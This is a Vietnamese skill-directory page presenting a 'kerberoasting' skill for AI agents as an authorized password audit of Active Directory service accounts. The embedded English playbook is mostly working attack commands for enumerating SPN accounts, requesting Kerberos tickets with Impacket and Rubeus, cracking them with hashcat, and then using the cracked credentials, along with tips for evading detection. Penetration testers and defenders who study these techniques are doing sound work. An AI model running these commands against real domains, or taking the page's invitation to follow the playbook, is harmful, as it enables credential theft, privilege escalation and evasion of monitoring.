Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #13942

kerberoasting

Skill này làm gì

Skill này mô tả một kiểm tra phổ biến về độ mạnh mật khẩu trong Active Directory đối với các tài khoản dịch vụ. Skill dành cho người kiểm thử bảo mật có quyền kiểm toán một miền Windows.

Khi nào nên dùng

  • ✓Khi người kiểm thử bảo mật hỏi những tài khoản dịch vụ nào trong miền được ủy quyền có thể có mật khẩu yếu.
  • ✓Khi agent cần liệt kê các tài khoản dịch vụ gắn với tên dịch vụ và kiểm tra cài đặt của chúng.
  • ✓Khi một báo cáo cần giải thích rủi ro của mật khẩu tài khoản dịch vụ yếu và cách tăng cường.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể tìm các tài khoản dịch vụ trong miền kiểm thử được ủy quyền của chúng tôi và kiểm tra xem mật khẩu có vẻ yếu không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent tìm các tài khoản có tên dịch vụ, yêu cầu dữ liệu vé của chúng bằng tài khoản kiểm thử, rồi kiểm tra độ mạnh mật khẩu ngoại tuyến.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Kerberoasting Playbook

Prerequisite

Any valid domain user. No special privileges required.

1. Identify roastable accounts

In a hosted engagement, inspect the authorized collection through bloodhound_mcp_find_objects and bloodhound_mcp_object_profile, or use a bounded read-only bloodhound_mcp_cypher_query when the semantic tools do not expose the SPN property. Confirm collection coverage first. In standalone OSS, use the registered bhce_cypher tool against that instance. Or LDAP-direct:

ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
  sAMAccountName servicePrincipalName > /tmp/spns.txt

2. Request TGS tickets

Impacket (most reliable):

GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -outputfile /tmp/kerb.hashes

Rubeus (from Windows beachhead):

Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrap

Modern hashes are $krb5tgs$23$*user$DOM$spn*$<ciphertext> (RC4). If forest is Win2012+, AES tickets may come back as $krb5tgs$18$*….

3. Crack offline

# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt

# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
        --rules-file /usr/share/hashcat/rules/d3ad0ne.rule

Service-account heuristics: 60-70% of kerberoasted accounts use:

  • ServiceName + season + year (e.g. SQLSvc2024!, IISWinter25)
  • App name + 4-digit numbers
  • Default install passwords (Veeam, SCCM, Splunk admins)
  • Custom dict from OSINT (company name, products, projects)

4. Promote cracked credential

kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
            props={"source":"kerberoast","crack_time":"<n>m","mode":"hashcat-m13100"})
kg_add_edge(src=<cred>, dst=<user>, kind="authenticates")

5. Post-crack actions

Whatever the service account can reach is now yours:

  • Run BloodHound as the new cred → re-ingest
  • Often these accounts have AdminTo on the box hosting the service
  • Sometimes they're members of Tier-0 groups (yes, really)

OPSEC notes

  • Requesting TGS tickets is logged to 4769 events on the DC
  • Detection: 4769 with Ticket Encryption Type=0x17 (RC4) when the service supports AES is anomalous
  • Rate limiting: don't request all SPNs at once on a monitored network; Impacket has no built-in throttle, write a wrapper
  • Use -no-preauth to avoid lockout if doing manual TGS via kinit

CVSS

  • Roastable + crackable in scope timeframe: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
  • Roastable but uncrackable (long random pw): Informational
  • AES-only + no offline crack feasible: Low

Common services found

SPN prefix Likely account Typical impact
MSSQLSvc/ SQL service account Often local admin on DB host
HTTP/sccm* SCCM service Often Domain Admin (misconfig)
MSOLAPSvc.3/ SSAS Local admin on analysis server
kadmin/changepw KDC account RARE — high value if hit
exchangeMDB/ Exchange recovery Sometimes priv group
Câu hỏi thường gặp

Tài khoản dịch vụ là gì?

Đây là tài khoản chạy một dịch vụ, như cơ sở dữ liệu hoặc ứng dụng web, trên mạng Windows.

Skill có nói cách sửa mật khẩu yếu không?

Skill gợi ý dùng mật khẩu mạnh hơn và mã hóa hiện đại hơn, còn chủ sở hữu quyết định cách áp dụng.

Bất kỳ người dùng nào cũng chạy được kiểm tra này không?

Skill nói rằng bất kỳ người dùng miền hợp lệ nào cũng có thể chạy, và đó là lý do nó quan trọng với các đợt kiểm toán.

Chi tiết

Mô tả gốc của tác giả

Request Kerberos TGS tickets for SPN-bound service accounts and crack offline with hashcat — classic AD priv-esc primitive.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#13942
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự